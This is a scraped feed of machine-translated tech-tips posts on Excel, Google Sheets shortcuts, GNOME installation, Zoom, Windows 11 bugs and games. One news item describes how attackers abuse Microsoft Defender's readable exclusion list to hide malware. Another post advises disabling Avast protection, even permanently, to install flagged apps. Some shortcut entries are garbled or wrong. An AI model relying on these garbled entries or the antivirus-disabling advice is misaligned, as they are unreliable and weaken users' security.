cell address also appears in the Name box in the top left corner and cell column and row headers are marked when the cell is selected. You can also select multiple cells at once . A group of cells is known as a range of cells. Instead of a single cell address, you will refer to a range by using the first and last cell addresses in the cell range, separated by colons . For example, a range of cells including cells A1, A2, A3, A4 and A5 will be written as A1: A5. Please see the different ranges below:\nRange of cells A1: A8   Range A1: F1   Range A1: F8   If the columns in your spreadsheet are labeled with numbers instead of letters, you need to change the default reference type for Excel. I. Select a box: To enter or edit cell contents, you first need to select that box.\n1. Click a cell to select it. In the example, we select cell D9 .\n2. A border will appear around the selected cell and the column title and line titles will be highlighted. The box will remain selected until you click on another cell in the spreadsheet.\n  In addition, you can also select cells by using the arrow keys on the keyboard. II. Select a range of cells: Sometimes, you may want to select a group larger than cells or a range of cells.\n1. Click and drag the mouse until all the cells you want to select are highlighted. In the example, we select the range B5: C18 .\n2. Release the mouse to select the desired range. The boxes will still be selected until you click another cell in the spreadsheet.\n  C. Excel cell contents Any information you enter into the spreadsheet will be stored in a cell. Each cell can contain different types of content, including text, formatting, formulas and functions .\nText : Cells may contain text, such as letters, numbers and dates.   Format properties : Cells can contain formatting properties that change the way letters, numbers, and dates are displayed. For example, the percentage may appear to be 0.15 or 15%. You can even change the text of a cell or background color.   Formulas and functions : Cells can contain formulas and functions that calculate the value of cells. In the example, SUM (B2: B8) adds the value of each cell in cell range B2: B8 and displays the total in cell B9 .   I. Insert content: 1. Click a cell to select it. In the example, we select cell F9 .\n  2. Enter something in the selected box, then press Enter on the keyboard. The content will appear in the box and the formula bar . You can also enter and edit cell contents in the formula bar.\n  II. Delete cell contents: 1. Select the cell (s) with the content you want to delete. In the example, we select the cell range A10: H10 .\n  2. Select the Clear command on the Home tab, then click Clear Contents .\n  3. Cell contents will be deleted.\n  Alternatively, you can use the Delete key on the keyboard to delete content from multiple cells at once. The Backspace key will only delete content from one cell at a time. \u0026nbsp;\nIII. Delete cell: There is an important difference between deleting the contents of a cell and deleting that cell. If you delete the entire cell, the cells below it will move to fill the gap and replace the deleted cells .\n1. Select the cell (s) you want to delete. In the example, we will select the range A10: H10 .\n  2. Select the Delete command from the Home tab on the Ribbon.\n  3. The cells below will change and fill the gap.\n  IV. Copy and paste the cell contents: Excel 2016 allows you to copy imported content into a spreadsheet and paste it into other cells, saving you time and effort.\n1. Select the cell (s) you want to copy. In the example, we select the range F9 .\n  2. Click the Copy command on the Home tab or press Ctrl + C on the keyboard.\n  3. Select the cell (s) to which you want to paste the content. In the example, we choose F12: F17 . The copied cell (s) will have a cell surrounded by dashed lines.\n  4. Click the Paste command on the Home tab or press Ctrl + V on the keyboard.\n  5. The content will be pasted into the selected cells.\n  V. Access to many paste options: You can also access additional paste options, especially handy when working with cells containing formulas or formats. Just click the drop-down arrow on the Paste command to see these options.\n  Instead of selecting a command from the Ribbon toolbar, you can quickly access commands by right- clicking . Simply select the cell (s) you want to format, then right-click. A drop-down menu will appear where you will find some of the same commands on the Ribbon.\n  VI. Cut and paste cell contents: Unlike copying and pasting, duplicating cell contents, cutting allows you to move content between cells.\n1. Select the cell (s) you want to cut. In the example, we select the range G5: G6 .\n2. Right-click and select Cut . Alternatively, you can use the command on the Home tab or press Ctrl + X on the keyboard.\n  3. Select the cells to which you want to paste the content. In the example, we choose F10: F11 . The cut cells will have a box surrounded by a dashed line.\n4. Right-click and select the Paste command. Alternatively, you can use the command on the Home tab or press Ctrl + V on the keyboard.\n  5. The cut content will be removed from the original cells and pasted into the selected cells.\n  VII. Drag and drop boxes: Instead of cutting, copying and pasting, you can drag and drop cells that move their content.\n1. Select the cell (s) you want to move the content. In the example, we select the range H4: H12 .\n2. Hover over the border of the selected cells until the mouse pointer changes to a pointer with four arrows ( as shown below ).\n  3. Click and drag the cells to the desired location. In the example, we move them to the range G4: G12 .\n  4. Release the mouse. Cells will be dropped in the selected location.\n  VIII. Use the fill handle function (a black note in the right corner - below the selected cell): If you are copying cell contents to adjacent cells in the same row or column, using the fill handle function is a useful alternative to copying and pasting commands.\n1. Select the cell (s) containing the content you want to use, then hover over the lower right corner of the cell to fill the appeared handle .\n  2. Click and drag the fill handle until all the cells you want to fill in are selected. In the example, we choose the range G13: G17 .\n  3. Release the mouse to fill the selected cell.\n  IX. Continue a string with the fill handle: Fill handle can also be used to continue a sequence. Whenever the contents of a row or column are in sequential order, such as numbers ( 1, 2, 3 ) or days ( Monday, Tuesday, Wednesday ), the fill handle function can guess what will come next in sequence. In most cases, you need to select multiple cells before using the fill handle to help Excel determine the bulk order . Take a look at the example below:\n1. Select the range of cells that you want to continue. In the example, we will choose E4: G4 .\n2. Click and drag the latch to continue the sequence.\n  3. Release the mouse. If Excel understands the string, it will continue in the selected cells. In the example, Excel added Part 4, Part 5 and Part 6 to H4: J4 .\n  Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z6WcrZ1dqcK1u9GimKVln5t6psTCnqNmamBmg268wKurZm1dl660tcKsZKieXZiyrbjSZpinnF2nrq%2BzxKw%3D\n","link":"/post/basics-of-cells-and-ranges/","section":"post","tags":null,"title":"Basics of cells and ranges"},{"body":"A magic trick, you can control matchsticks closer to each other without touching them. This is entirely possible when applying physical knowledge learned at school rather than skill or rotation.\nDeath challenge: Magician uses his mouth as a \"red heart\" to block bullets Decode 6 magic tricks that challenge all the laws of physics in the world Prepare:\n2 cups with little alcohol or water.Note: the water level on the 2 cups must be equal. 2 matches. Perform:\n  \nPlace 2 cups and 2 matches as shown in the picture above. And what you will do is make two matchsticks touch each other without touching the match or cup of water.\nFirst, put two glasses of water together. Dip your finger into a glass of water without a match and rub the cup as shown below.\n  \nPlease be patient, after a while the magic will happen.\nDecipher the magic tricks\nWhen you rub your mouth with wet hands, the sound will sound quite uncomfortable. Sound or sound waves will travel in the air. At that time, the water inside the glass of 2 matches will have resonance phenomenon, vibrating into glass.\nThis vibration causes two matches to move and gradually touch each other.\nToo simple, isn't it? You can perform this simple magic show to perform happily with friends and relatives, surely you will become the \"star\" in their eyes. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ksaavyKmfnqqZo7RuwMeeZKaZl56wbr%2FCq5yepl2irrWvx6yropubYrivu9asZJ2Znpi2r7OMoqpmq6WnvbO10qKloKSpYsCquc%2BlnA%3D%3D\n","link":"/post/deciphering-the-magic-screen-matchstick-knows-dancing-is-surprisingly-simple/","section":"post","tags":null,"title":"Deciphering the magic screen 'matchstick knows dancing' is surprisingly simple"},{"body":"There is a lot of data on Excel spreadsheets you want to turn into images for use in word documents or for sharing with everyone. Instead of taking pictures of data on Excel spreadsheets and editing to get images that contain data content, you can directly extract from Excel content into images.\nThe article shows how to extract Excel 2007, Excel 2010, Excel 2013 content into images.\n1. Microsoft Excel 2007. Step 1: Open Excel file and select (highlight) the content to be extracted to image, then in the Home tab, select Paste -\u0026gt; As Picture -\u0026gt; Copy as Picture .\n  Step 2: A dialog box appears, select As shown on screen and click OK .\n  Step 3: Open the Word or Paint document to paste the image into. For example, paste images into Word.\n  2. Microsoft Excel 2010. Step 1: Open Excel file and select (highlight) the content to be extracted to image, in the Home tab, click the arrow next to the word Copy and choose Copy as Picture .\n  Step 2: A dialog box appears, select As shown on screen and click OK .\n  Step 3: Then you paste the image into Paint or Word. For example paste into Word.\n  3. Microsoft Excel 2013. With Excel 2013 you work the same as on Excel 2010.\nWith very simple steps, you have quickly extracted the content in Excel spreadsheet into an image format to use. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrnA0ZqarWWVrbCmuIycpqeslaPBbrXNraZmoZ2WtKZ5xaipppmk\n","link":"/post/extract-excel-content-into-image-format/","section":"post","tags":null,"title":"Extract Excel content into image format"},{"body":"Using the Google Sheets shortcut on macOS is a faster and simpler way to manipulate spreadsheets. To open a list of Google Sheets keyboard shortcuts on macOS, just press Cmd + /.\nGoogle Sheets keyboard shortcuts on macOS 1. Google Sheets shortcut operations in general\nHere's a list of the Google Sheets keyboard shortcuts on macOS that can be used to manipulate common tasks, like copying or selecting columns of rows:\n- Cmd + C: copy the selected cells to the clipboard.\n- Cmd + X: cut selected cells to clipboard.\nCmd + V: paste the content copied into the worksheet.\nCmd + Shift + V : paste the values.\n- Cmd + Space: selects all columns.\n- Shift + Space: select the entire row.\n- Cmd + A: select all cells.\n- Cmd + Z: come back.\n- Cmd + Y: repeat the operation.\n- Cmd + F: look in the sheet.\n- Cmd + H: find and replace in a worksheet.\n- Cmd + Option + Shift + H : open spreadsheet revision history.\n  2. Google Sheets keyboard shortcuts format cells\nSimilar to Excel, Google Sheets also supports many keyboard shortcuts that you can use to format worksheet cells. Here are the Google Sheets keyboard shortcuts that format cells on macOS:\n- Cmd + B: bold.\n- Cmd + I: italic.\n- Cmd + U : underline.\nCtrl + Shift + E (Windows / Chrome OS) or Cmd + Shift + E (macOS): Center align a cell.\n- Cmd + Shift + E: center cell.\n- Cmd + Shift + L: left alignment.\n- Cmd + Shift + R: right-aligned.\n- Cmd +; : insert current date.\n- Cmd + Shift + 7: add a border to the selected cells.\n- Option + Shift + 6: remove the border from the selected cells.\n- Ctrl + Shift + 1: format as a decimal number.\n- Ctrl + Shift + 2: time format.\n- Ctrl + Shift + 3: date format.\n- Ctrl + Shift + 4: currency format.\n- Ctrl + Shift + 5: format by percentage.\n- Ctrl + Shift + 6 : format exponent.\nCmd: remove all formatting from the selected cells.\n3. Google Sheets keyboard shortcuts move around the spreadsheet\n- Arrow keys left / right / up / down: move left, right, up or down the cell.\n- Ctrl + Option + arrow left / right: move to the first or last cell in a row.\n- Ctrl + Option + arrow up / down: move to the first or last cell in a column.\n- Fn + left arrow: move to the beginning of the row.\n- Fn + right arrow: move to the end of the row.\n- Cmd + Fn + left arrow: move to the beginning of the sheet.\nCmd + Fn + right arrow: move to the end of the sheet.\n- Cmd + Backspace: scroll to the current working cell.\n- Option + down / up arrow : if you are working on a lot of pictures, use this Google Sheets shortcut to move, open the next or previous sheet.\nOption + Shift + K: show a list of all sheets.\n- Ctrl + Cmd + Shift + M : move Focus out of the worksheet.\n  4. Google Sheets shortcuts to manipulate formulas\n- Ctrl + -: show all formulas in the worksheet.\n- Cmd + Shift + Enter : insert the array formula.\n- Fn + F1: show full or reduced formula.\n- Fn + F9: toggle the preview of results.\n5. Google Sheets keyboard shortcuts work with rows and columns \n- Cmd + D: copy data from the first column to selected cells below.\nCmd + R: copy data from the first row to the selected right rows.\nCmd + Enter: copy data from the first cell into other selected cells.\n- Cmd + Option + 9 : hide a row.\n- Cmd + Shift + 9 : show a row.\n- Cmd + Option + 0: hide a column.\n- Cmd + Shift + 0 : show a column.\n- Ctrl + Option + I + R: insert the rows above.\n- Ctrl + Option + I + W: insert the rows below.\n- Ctrl + Option + I + C: insert column to the left.\n- Ctrl + Option + I + O : insert column to the right.\n- Ctrl + Option + E + D: delete row.\n- Ctrl + Option + E + E: delete column.\n- Ctrl + Option + F : Open the File menu.\n- Ctrl + Option + E: Open the Edit menu.\n- Ctrl + Option + V : Open the View menu.\n- Ctrl + Option + I: Open the Insert menu.\n- Ctrl + Option + O: Open the Format menu.\n- Ctrl + Option + T: Open the Tools menu.\n- Ctrl + Option + H : open the Help menu.\n- Ctrl + Option + A : Open the Accessibility menu.\n- Cmd + Option + Shift + K: open the Input Tools menu.\n- Cmd + Shift + F: Switch to Compact mode (hide menu).\n- Shift + right click: displays the browser context menu.\nTipsMake above article has just introduced you to the list of Google Sheets shortcuts on macOS. Also, if you are using Windows, you can refer to some existing articles to learn more Google Sheets shortcuts on Windows. Good luck\nGoogle Sheets ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZquYmrK1v4yknLKan5a%2FpXnSoaarrJOqwbR5zqdkppmTpMA%3D\n","link":"/post/google-sheets-keyboard-shortcuts-on-macos/","section":"post","tags":null,"title":"Google Sheets keyboard shortcuts on macOS"},{"body":"Like any other antivirus, Microsoft Defender allows users to add exclusions (locally or on a network) on their system. When scanning for viruses, Microsoft Defender will ignore these excluded areas and folders.\nOften users will create exclusion zones to prevent anti-virus software from affecting the functionality of a genuine application that is mistakenly detected as a virus.\nSecurity researchers discovered that the list of locations excluded from Microsoft Defender's scanning was not protected at all. This results in any local user being able to access this list.\n  Regardless of permissions, users can access the Registry and find a list of locations excluded from the scan. The hacker will then plant the virus in those excluded locations and execute the malicious code without fear of detection.\nBecause the directory listings and exclusions are different for each user, there is no universal way to determine this for all computers. This also makes it easier for hackers to hide their behavior.\nThe news site BleepingComputer has conducted testing to confirm the problem. Testing showed that a ransomware executed from an excluded folder was able to run and encrypt the entire computer without any hindrance or warning from Microsoft Defender.\nA security consultant discovered this problem 8 years ago and realized the advantages it brought to hackers.\nDue to the long time of existence, and Microsoft has not taken action to patch the error, users and administrators should actively protect themselves by correctly configuring the exclusion area on the server and local machine via group policies.\nncG1vNJzZmismaXArq3KnmWcp51ktaKvyp6prGWklrimecCdrZqmpJa0pnnOn2SmoZOnvLS7xa1knZ2WmrulsdGsZHGxlZa%2FsLjDZq6emZujsrS%2FjK2mZpqppa60v4ytn55lpp6%2Ftr%2BMnZytnZOptrC6jKywrKyVog%3D%3D\n","link":"/post/hackers-take-advantage-of-microsoft-defender-s-8-year-old-weakness-to-bypass-the-virus-detection-system/","section":"post","tags":null,"title":"Hackers take advantage of Microsoft Defender's 8-year-old weakness to bypass the virus detection system"},{"body":"There are many ways and tools to refresh the Windows interface to change the default look of the computer, bringing a new look when used. One of the ways users can try it is to bring a dock on macOS to a Windows computer. The dock displayed on the Windows computer has the same interface as when we used it on macOS, with floating icons displayed when hovered over. To do this, users need to use a docking software for Windows like RocketDock.\nThis software will customize the computer interface in the style of macOS, including creating a dock in any position you want, through the setup interface for the dock. The following article will guide you how to use RocketDock software on your computer.\nRefresh the Windows 10 interface with 11 customization tools 10 ways to customize Windows 7 Some tips to customize Taskbar on Windows 10 effectively How to make Windows 10 look like Windows 7 Instructions for creating a dock on Windows Step 1:\nPlease click on the link below to download RocketDock tool on the computer.\nDownload the RocketDock Windows tool   Step 2:\nAfter installation is complete, click on the software icon on the computer and display the dock as shown below.\n  This dock will show up on every desktop interface on the computer, not just on the desktop.\n  Step 3:\nTo change the display style of the dock on Windows computers, users click on the Dock Settings icon .\n  Display setup interface for the software. For simpler customization, users can switch to Vietnamese by clicking Vietnam in the Language bar in the General section. Click OK to save and then restart the Settings interface.\n  Step 4:\nIf we want the dock to always show on the screen then click Run at startup .\n  Next move to the Location adjustment group. Here you can adjust the display position of the thank dock. The software supports displaying the dock bar in many different screens. At the position on the screen can choose on the top, bottom, left or right edge of the computer screen. The Dock is displayed by default on other programs. If you do not want it, switch to Normal mode at Sort .\n  Below are two bars to align the position in the middle of the screen and the distance to the screen edge of the dock. When finished editing, click Agree below.\n  Step 5:\nClick on a few groups of Icons to adjust the appearance of the icons in the dock. Here we can change the quality and style of the icon display when hovered over.\n  Step 6:\nIn the Styles section, we will have options to adjust the appearance of the dock, including templates, transparency, select display font, border transparency, shadow transparency.\n  The options for the display style of the text that the software provides are very diverse, for example, the Font section has quite a variety of fonts.\n  Finally, the Expression tweaks for the thank dock effects.\n  The result will be a new dock interface as shown below.\n  RocketDock software not only brings the macOS dock bar to the Windows computer interface, but also offers users a lot of different customizations. We can change the thank dock interface in various ways.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZJ2nk6B6sLqMsKCnnJ%2BswG7DyK2fZqqfmLimwMOomqQ%3D\n","link":"/post/how-to-create-a-dock-on-windows-with-rocketdock/","section":"post","tags":null,"title":"How to create a dock on Windows with RocketDock"},{"body":" The Federal Communications Commission (FCC) administers licenses for ship, aircraft, and international fixed public radio communication stations. The FCC mandates that individuals hold a General Radiotelephone Operators license in order to...\nPart 1of 2:\nUnderstanding the License  Read about who needs the license. The FCC Website offers a good explanation of what types of positions require the license.[2] The General Radiotelephone Operators (PG or GROL) license is required for jobs such as operating and maintaining radio equipment on a vessel or aircraft.[3]  Understand the general qualifications. In addition to passing the licensing exam, individuals need to be able to receive and send spoken messages in English. Additionally, they must be a legal resident of the United States or legally eligible for employment in the country.[4] Once the license is obtained, it is good for life and does not need to be renewed.   Learn the exam specifics. To obtain a PG or GROL license, you must first pass a written exam comprising two elements. Element 1 of the exam includes questions about basic radio law and operating practice for maritime radio operators. The exam comprises 24 questions, and passing requires answering at least 18 of them correctly.[5] Element 3 of the written exam contains 100 questions, of which at least 75 must be answered correctly. This exam focuses on general radiotelephone information, such as the electronic fundamentals of the equipment and techniques for adjusting, repairing and maintaining it. Some of the categories for this exam include operating procedures, radio wave propagation, radio practice, electrical principles, circuit components, practical circuits, signals and emissions, and antennas and feed lines.[6] If you have decided to also obtain the radar endorsement for working on marine vessels, you will have to pass Element 8, Ship Radar Techniques. Element 8 contains 50 questions, of which 38 must be answered correctly in order to pass. The questions focus on theory and practice of using radar for marine navigation purposes.  Part 2of 2:\nPreparing for and Passing the Exam  Download the study materials. The FCC offers everything you need to prepare for the exam. The FCC uses only the questions present in the question pools on its exams. On the Examinations page of the FCC Website, scroll down to the bottom of the page and click on \"Examination Questions Pool.\" Download the materials for Element 1 and Element 3. (Include Element 8 if you've decided to pursue the radar endorsement as well.)  Study the questions carefully until you've mastered all aspects. If possible, have someone quiz you verbally on the questions. It is not recommended that you look for additional outside information for studying purposes. Only questions from the Question Pool will be used on the exam.   Locate an authorized COLEM to administer your test. While the FCC administers and awards the PG licenses, it does not administer the exams required to obtain them. Rather, the FCC authorizes several Commercial Operator License Examination Managers (COLEMs) to conduct the exams nationwide.[7] The FCC offers a list of authorized COLEMS on its Website, along with their respective fees. To access this, go to the Examinations page and select \"Testing Managers, Locations, Schedules, and Fees.\"[8] Once you have decided which COLEM you will use for your exam, contact them to check when the next scheduled exam is and how to register. Many COLEMs offer online testing, in addition to in person exams. This may be beneficial to you if there are no testing facilities in your area.[9] In some cases, if you pass the exam, the COLEM will electronically file your application for you. Otherwise, they will give you a Proof of Passing Certificate (PPC) that needs to be included with your license application.   Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXq6u9SrZJ%2Bbk2K0prrEq5ilZaKWsaq7056jnqiYpLumec6pnKuZpKS%2FbrjInJynq5VirrV5x6ikng%3D%3D\n","link":"/post/how-to-get-your-fcc-general-radiotelephone-operator-license-at-home/","section":"post","tags":null,"title":"How to Get Your FCC General Radiotelephone Operator License at Home"},{"body":"This guide will show you how to install GNOME on Ubuntu 20.04 Focal Fossa.\nRequires software and conventions to be used System : Installed or upgraded to Ubuntu 20.04 Focal Fossa Software : GNOME Shell 3.34.1 and above Other requirement : Access to Linux system as root or via sudo command. Conventions : # - requires given Linux commands to be executed with root privileges, either directly as the root user or by using the sudo command $ - requires given Linux commands to be executed as an unprivileged, regular user.  Step by step guide to install GNOME on Ubuntu 20.04 LTS Focal Fossa Install GNOME Vanilla on Ubuntu 20.04 LTS Focal Fossa The Vanilla GNOME version is an installation of GNOME on the desktop. It lacks most of the software you'd expect by default, however resource requirements are minimal.\nTo install the GNOME desktop Vanilla version, execute the following command:\n$ sudo apt install GNOME-session gdm3 All done. Please restart the system:\n$ sudo reboot Fully install GNOME desktop on Ubuntu 20.04 LTS Focal Fossa The following section will give you step-by-step instructions on how to install a full GNOME desktop on Ubuntu 20.04 LTS Focal Fossa.\nThe easiest way to install GNOME desktop fully is by using the tasksel command. First, make sure that the tasksel command is available on your system:\n$ sudo apt install tasksel Next, use the tasksel command to install GNOME desktop:\n$ sudo tasksel install ubuntu-desktop All done. Please restart Ubuntu 20.04 system:\n$ sudo reboot ubuntu 20.04 LTS Focal Fossa ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnqennZp6sLqMrpmupqSqenN8j21kpayjYrOwr8ClZJ%2Bno6iu\n","link":"/post/how-to-install-gnome-on-ubuntu-20-04-lts-focal-fossa/","section":"post","tags":null,"title":"How to install GNOME on Ubuntu 20.04 LTS Focal Fossa"},{"body":"Avast antivirus software is widely used by users because of its good scanning capability as well as ease of use. But sometimes you need to install some applications that Avast constantly warns Virus and prevent you from installing it, what to do? The best way to deal with it is to temporarily or permanently disable Avast to install the application. In this article, the Software Tips will guide you how to turn off Avast notifications temporarily or permanently.\n  1. Turn off fast Avast notifications This shortcut disables all of Avast's notifications and you can select quick timelines.\nStep 1: Avast is a background run on the computer so on your Taskbar will have the Avast icon. You right-click on the icon and select Avast shields control . There will be 4 choices for you as follows:\nDisable for 10 munites: Disable 10 minutes Disable for 1 hour: Disable 1 hour Disable until computer is restarted: Disable until the computer restarts Disable permanently: Disable permanently   Immediately there will be a warning message displayed for you that the shutdown will affect the computer protection process from Virus, you select Yes to turn off.\n  After you turn off the notification, the Avast icon will display a yellow exclamation mark next to it.\n  To turn it back on, follow the steps above and select Enable all shields .\n  2. How to turn off notifications inside Avast application This way you can fine-tune four different computer protection options depending on your needs.\nStep 1: You start the Avast application and select Protection -\u0026gt; Core Shields.\n  Step 2: Then there will be 4 separate choices for you including:\nFile Shield: Scans data when added to the computer Behavior Shield: Warning if any suspicious application has a malicious Virus Web Shield: Block malicious websites Mail Shield: Block Malicious Email   Step 3: Click on the blue On icon to turn them off. Each time you turn off, there are notifications asking how long you want to turn them off:\nStop for 10 munites: Disable 10 minutes Stop for 1 hour: Disable 1 hour Stop until computer is restarted: Disable until the computer restarts Stop Indefinitely: Disable permanently   Step 4: After turning off, the system will appear red warning. To turn on the notifications you just press the red OFF button .\n  Thus, Software Tips have shown you how to turn off notifications of Avast temporarily or permanently. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnTrqmnZZ%2Bbs26t1ZqqrWWepMGqssicmK2hn6PAbsDEpqeoqpGntq3FjKipZqiVp7qiusSnq6Wx\n","link":"/post/instructions-on-how-to-turn-off-avast-notifications-temporarily-or-permanently/","section":"post","tags":null,"title":"Instructions on how to turn off Avast notifications temporarily or permanently"},{"body":" Free software Version: 5.0.0 Update date: 12/30/2020 Platforms: Windows, Mac, Android, iPhone Download Zoom Meetings 5.0.0 here.\nEach Zoom meeting can gather more than 50 users - 49 of them will be displayed simultaneously on your screen.\n  Zoom Features Is Zoom VoIP? Zoom has a simple interface that any user can understand. Whether you need to meet colleagues or connect with loved ones, Zoom lets you hear and see them in your high quality VoIP service. The Zoom desktop app opens with a user dashboard that gives you access to five tabs: Home, Chat, Phone, Meetings and Contacts .\nBy default, the user dashboard displays the Home tab . This is because it contains the necessary features for online meeting, which are: New Meeting, Join, Schedule and Share Screen . Both the New Meeting and Schedule buttons allow you to organize meetings. All scheduled meetings are listed in the Meetings tab . Once you've joined the meeting, a new window will appear.\nMeeting controls are displayed at the bottom of the window, while video feeds from other callers are displayed at the top. The center of the window is reserved for the user that Zoom detects as talking or making the most sound. This helps everyone in the group focus on this person.\nZoom can call? Loud background noise can be reduced by clicking the Mute button on the meeting control bar. These features are different from those in the Phone tab . Instead of VoIP, Zoom Phone allows you to call other users using Zoom's caller ID. It also allows you to leave voice messages and view the call history of your Zoom account. You can save the caller ID in the Contacts tab .\nBy default, it is arranged alphabetically. To access the most important contacts, tag them as Starred or Auto Answer. Note that calls made by an Auto Answer contact will be answered by Zoom immediately. You can use Zoom as your all-in-one productivity and office tool. In addition to VoIP capabilities, it allows you to share your screen.\nYou can also send files to your contacts. While you can use the chat feature to send files to your colleagues, you can also present these files through the Screen Share feature . For example, you have an important presentation. You can open the presentation on your screen and click the Screen Share button . This allows the call participants to view the file while listening to your presentation.\nVoIP tool for professional and personal use Although aimed at businesses and professionals, Zoom is also a good app to try out with friends and family, if you're the type of video caller. This is an application suitable for all users who need to coordinate or connect with a large number of users. Thanks to the collaboration and online meeting features, you can continue the progress of some team-based activities such as classroom projects, webinars, and business meetings.\nSee more article: How to use Zoom meeting on phone to know how to use this software.\nAdvantages\nHigh quality video and audio Sync with calendar Cross-platform meetings with desktop and mobile devices Defect\nThere is no option to tag members Zoom Meetings ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymabqK%2BeobyisIyzpqilXaKypsDIp56sZWVlfQ%3D%3D\n","link":"/post/link-download-zoom-meetings-5-0-0/","section":"post","tags":null,"title":"Link download Zoom Meetings 5.0.0"},{"body":"Therefore, with Windows 11 already out and well received, Chrome's interface will also be refined to be more consistent and seamless with the new operating system's Fluent design language.\nUnlike Windows 10, the page scroll bar on Windows 11 also has a Fluent-style design, making it fresh and more modern. Called Fluent Scrollbars, these Fluent scrollbars have a distinctive feature of mutability, meaning they can change shape when the user interacts, as well as automatically scale on the elements. different form factor or when you change the size of the window. This scrollbar is currently used on apps like Settings, Media Player etc\nGoogle Chrome may soon be equipped with Fluent Scrollbars, according to a new proposal from Microsoft. Specifically, Microsoft says it wants to modernize the old scrollbars in Chrome to give Google's browser a user interface that's more in line with the design standards of Windows 11.\nIn other words, Microsoft's main aim is to modernize the scrollbars of Chromium-based browsers (not just Google) to match the Fluent design language of Windows 11. In addition, the Redmond company also We're looking at some visually appealing changes, related to how users interact with scrollbars in Chrome with different modes:\nMinimal mode: This will be the default design for the scrollbar.\n  Full mode: Scroll bar in full mode is when the cursor is placed above the scrollbar area.\n  Stealth mode: This is a new feature in which the scrollbars will completely disappear to maximize the appearance of the page.\nTo better illustrate the difference, here's a comparison between the new scroll bars available in Microsoft Edge and the classic scroll bars in Chrome:\n  Microsoft also notes that 'hidden mode' can be bypassed with Windows 11's native solution of \"Always ON scrollbars\". Like macOS, 'Always show scrollbars' can be set up from Settings -\u0026gt; Accessibility -\u0026gt; Visual effects. The new scroll bars will adhere to the original settings.\nThis change is currently being considered for Chromium-based web browsers as early as 2022. Microsoft also plans to refactor the overlayless scrollbars to modernize Chrome on Windows 11.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYq%2Bztc2gqmavmaOxsMPSZmhqq12bubaxza1krJuipLmtrsCrZK2nXZy8sLPLnmScoKKkuqY%3D\n","link":"/post/microsoft-brings-windows-11-s-fluent-scrollbar-to-google-chrome/","section":"post","tags":null,"title":"Microsoft brings Windows 11's Fluent scrollbar to Google Chrome"},{"body":"The second error confirmed by Microsoft this time is a compatibility issue with Intel's sound driver - Intel Smart Sound Technology. This compatibility error can lead to a blue screen error (suddenly a blue screen with an error code, then the computer restarts on its own), so this could be rated as \"severe\". \". Microsoft believes that this error is not their fault and in the immediate future they only prevent devices using Intel Smart Sound Technology to limit the risk for users who have not upgraded to Windows 11.\n  Microsoft said it will soon roll out a new update to fix the installer error. For users who are experiencing this error, the temporary solution is to uninstall and reinstall the latest version of the faulty application.\nMeanwhile, with an error related to Intel Smart Sound Technology, the only way to fix it is to wait for a new update. And if any \"lucky\" user has not upgraded to Windows 11, they will need to visit the manufacturer's homepage (Dell, Lenovo, Asus .) and search and download the latest version of the Intel Smart Sound driver. Technology corresponding to the device. At this time, the two latest driver updates are 10.30.00.5714 or 10.29.00.5714, depending on the model. After the driver upgrade is complete, you will be \"allowed\" by Microsoft to upgrade to Windows 11 again.\nSpecifically, these two errors appear after Windows 11 users have installed the periodic security update KB5007215 and subsequent updates. The first error has to do with the Microsoft installer malfunctioning on the traditional application (.exe), causing the application to fail to launch after performing an upgrade or fix.\nWindows 11 Microsoft Windows ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrOqusOsZJplkqq0bsDHmqtmpJWWsbR506hkmmWSocKmedKcqZ6dnmK8r3nWoqWdp6eoenJ9\n","link":"/post/microsoft-finds-a-bug-that-leads-to-a-blue-screen-on-windows-11/","section":"post","tags":null,"title":"Microsoft finds a bug that leads to a 'blue screen' on windows 11"},{"body":"Officially released on February 18, Horizon Forbidden West has attracted great attention from the gaming community around the world. And not to disappoint the fans, the sequel of Horizon Zero Dawn has conquered many famous critics with a perfect 10 score.\n  Below, MGN has compiled the evaluation scores of Horizon Forbidden West on prestigious international magazine sites: - GamingTrend: 100/100 - GamingBolt: 100/100 - GameSpew: 100/100 - JeuxActu: 95/100 - COGconnected: 94/100 - Game Informer: 93/100 - Game Revolution: 90/100 - IGN Europe: 90/100 - GamesRadar+: 90/100 - Game Rant: 90/100 - Wccftech: 90/100 - IGN: 90/100 - Comicbook.com: 80/100 - Destructoid: 85/100 - GameSpot: 80/100   In the review of Horizon Forbidden West, the writer of IGN shared: \"This is a game with a great combination of engaging fighting style, unique character design and an epic open world. Horizon Forbidden West is a great choice for any gamer who owns a PS5\".\n  It is known that Horizon Forbidden West will be set about 6 months after the events of the predecessor Horizon Zero Dawn game. And the heroine Aloy will continue to hit the road to perform all-new combat missions.\nWith the \"terrible\" hardware power from PS5, Horizon Forbidden West will bring players into a world of amazing fantasy and grandeur. Not only that, the gameplay has also been improved to bring more diverse fighting styles for gamers to choose from.\nHorizon Forbidden West ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qzsdWinLCrXaSzbq7LqJqkmqWowaa%2BjJqYmmWYpL%2Bqxs6nZJ%2Bnope2pbDEp2SwnaOp\n","link":"/post/summary-of-reviews-of-blockbuster-aaa-horizon-forbidden-west/","section":"post","tags":null,"title":"Summary of reviews of blockbuster AAA Horizon Forbidden West"},{"body":"The past period has been a thriving decade of animation. Big names like Disney / Pixar have dominated this field and produced many great movies. But besides, studios like Laika are still growing and gaining influence.\nHowever, the most important thing is still the quality of the movies. In recent years, fans have enjoyed a number of high quality works, from many studios, countries and with different artistic visions.\nNow, the decade is almost over.Join TipsMake.com to collect a list of popular animated films, released from 2010 to 2019. From cultural phenomena to some very strange things, this list includes hobbies for all the anime fans are watching. Let's explore the details through the following article!\nThe best cartoons of the decade 25. Secret training of dragon 2 (2014) 24. Batman: Confronting the Red Mask (2010) 23. Frozen (2013) 22. The Teen Titans Superhero Squad (2018) 21. Assumption of lagging 